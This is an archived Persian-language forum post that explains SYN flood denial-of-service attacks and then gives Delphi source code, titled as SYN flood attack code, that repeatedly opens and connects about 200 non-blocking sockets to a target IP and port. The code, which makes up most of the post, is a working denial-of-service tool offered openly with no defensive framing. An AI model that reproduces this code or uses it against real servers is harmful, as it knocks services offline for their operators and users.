Parsi Coders

نسخه‌ی کامل: سورس کد حمله SYN Flood (دلفی)
شما در حال مشاهده نسخه آرشیو هستید. برای مشاهده نسخه کامل کلیک کنید.
در این روش بسیار متداول، حمله‌کننده تعداد زیادی بسته TCP حاوی SYN ارسال می‌کند که به معنای تقاضای شروع ارتباط است، در این صورت گیرنده بسته (هدف حمله کننده) با توجه به درخواست ارتباطی را شروع کرده و در انتظار دریافت ادامه درخواست می‌ماند و چون ادامه درخواست از طریق حمله‌کننده ارسال نمی‌شود، سرور مورد نظر برای مدتی ارتباط را در خود نگه می‌دارد که تعداد زیاد این روند باعث استفاده زیاد از پهنای باند، RAM و CPU سرور مورد نظر شده و توانایی پاسخ به سایر درخواست‌ها را نخواهد داشت.

سورس کد syn flood به زبان دلفی:

کد:
unit synflood;
interface
uses
  winsock,
  windows;
type
    Tssyn = Record
    TargetIP        :string;
    TargetPort      :integer;
    len             :integer;
    end;
var
  ddos :Tssyn;
  ssynthread :Thandle;
procedure SendSuperSyn;
const
  SUPERSYN_SOCKETS = 200;
implementation
procedure SendSuperSyn;
var
  superdelay: integer;
  SockAddr: SOCKADDR_IN;
  sock: array [0..SUPERSYN_SOCKETS] of Tsocket;
  iaddr: IN_ADDR;
  mode: integer;
  c,i: integer;
begin
superdelay := 100;
SockAddr.sin_family := AF_INET;
SockAddr.sin_port := htons(ddos.TargetPort);
iaddr.s_addr := INET_ADDR(pchar(ddos.TargetIP));
SockAddr.sin_addr := iaddr; //ip addy
i := 0;
mode := 1;
  while (i < ddos.len) do
  begin
    for c := 0 to SUPERSYN_SOCKETS do begin
            sock[c] := socket(AF_INET, SOCK_STREAM, 0);
               if (sock[c] = INVALID_SOCKET) then
                      continue;
            ioctlsocket(sock[c],FIONBIO,mode);
    end;
    for c := 0 to SUPERSYN_SOCKETS do
              connect(sock[c], SockAddr, sizeof(SockAddr));
        Sleep(superdelay);
    for c := 0 to SUPERSYN_SOCKETS do
            closesocket(sock[c]); //close sockets
   i := i + 1;
  end;
Suspendthread(ssynthread);
ExitThread(0);
end;
end.